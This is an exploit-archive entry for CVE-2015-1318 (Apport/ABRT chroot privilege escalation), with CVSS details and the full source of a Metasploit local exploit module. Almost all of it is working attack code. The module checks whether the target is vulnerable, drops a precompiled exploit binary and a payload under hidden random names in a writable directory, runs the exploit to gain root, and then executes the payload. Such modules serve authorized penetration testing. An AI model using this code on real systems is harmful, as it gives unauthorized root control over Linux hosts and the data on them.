Apport / ABRT chroot Privilege Escalation

2018.02.03
Credit: Brendan Coles
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apport / ABRT chroot Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on Linux systems by invoking the default coredump handler inside a namespace ("container"). Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are vulnerable, due to a feature which allows forwarding reports to a container's Apport by changing the root directory before loading the crash report, causing 'usr/share/apport/apport' within the crashed task's directory to be executed. Similarly, Fedora is vulnerable when the kernel crash handler is configured to change root directory before executing ABRT, causing 'usr/libexec/abrt-hook-ccpp' within the crashed task's directory to be executed. In both instances, the crash handler does not drop privileges, resulting in code execution as root. This module has been tested successfully on Apport 2.14.1 on Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64. }, 'License' => MSF_LICENSE, 'Author' => [ 'StA(c)phane Graber', # Independent discovery, PoC and patch 'Tavis Ormandy', # Independent discovery and C exploit 'Ricardo F. Teixeira', # shell exploit 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'DisclosureDate' => 'Mar 31 2015', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'References' => [ [ 'CVE', '2015-1318' ], [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ], # Exploits [ 'EDB', '36782' ], [ 'EDB', '36746' ], [ 'URL', 'https://gist.github.com/taviso/0f02c255c13c5c113406' ], # ABRT (Fedora) [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ], # Apport (Ubuntu) [ 'URL', 'https://usn.ubuntu.com/usn/USN-2569-1/' ], [ 'URL', 'https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893' ], [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758' ], [ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ] ] )) register_options( [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end def base_dir datastore['WritableDir'] end def check kernel_version = Gem::Version.new cmd_exec('uname -r').split('-').first if kernel_version < Gem::Version.new('3.12') vprint_error "Linux kernel version #{kernel_version} is NOT vulnerable" return CheckCode::Safe end vprint_good "Linux kernel version #{kernel_version} is vulnerable" kernel_core_pattern = cmd_exec 'cat /proc/sys/kernel/core_pattern' # Vulnerable core_pattern (abrt): # kernel.core_pattern = |/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e # Patched systems no longer preface the command with /usr/sbin/chroot # kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e if kernel_core_pattern.include?('chroot') && kernel_core_pattern.include?('abrt-hook-ccpp') vprint_good 'System is configured to chroot ABRT for crash reporting' return CheckCode::Vulnerable end # Vulnerable core_pattern (apport): # kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P if kernel_core_pattern.include? 'apport' vprint_good 'System is configured to use Apport for crash reporting' res = cmd_exec 'apport-cli --version' if res.blank? vprint_error 'Apport is NOT installed' return CheckCode::Safe end apport_version = Gem::Version.new(res.split('-').first) if apport_version >= Gem::Version.new('2.13') && apport_version < Gem::Version.new('2.17.1') vprint_good "Apport version #{apport_version} is vulnerable" return CheckCode::Vulnerable end vprint_error "Apport version #{apport_version} is NOT vulnerable" return CheckCode::Safe end vprint_error 'System is NOT configured to use Apport or chroot ABRT for crash reporting' CheckCode::Safe end def upload_and_chmodx(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data cmd_exec "chmod +x '#{path}'" register_file_for_cleanup path end def exploit if check != CheckCode::Vulnerable fail_with Failure::NotVulnerable, 'Target is not vulnerable' end # Upload Tavis Ormandy's newpid exploit: # - https://www.exploit-db.com/exploits/36746/ # Cross-compiled with: # - i486-linux-musl-cc -static newpid.c path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid' fd = ::File.open path, 'rb' executable_data = fd.read fd.stat.size fd.close executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" upload_and_chmodx executable_path, executable_data # Upload payload executable payload_name = ".#{rand_text_alphanumeric rand(5..10)}" payload_path = "#{base_dir}/#{payload_name}" upload_and_chmodx payload_path, generate_payload_exe # newpid writes an 'exploit' directory # which must be removed manually if exploitation fails register_dir_for_cleanup "#{base_dir}/exploit" # Change working directory to base_dir, # allowing newpid to create the required hard links cmd_exec "cd '#{base_dir}'" print_status 'Launching exploit...' output = cmd_exec executable_path output.each_line { |line| vprint_status line.chomp } # Check for root privileges id = cmd_exec 'id' unless id.include? 'root' fail_with Failure::Unknown, 'Failed to gain root privileges' end print_good 'Upgraded session to root privileges' vprint_line id # Execute payload executable vprint_status 'Executing payload...' cmd_exec payload_path end end


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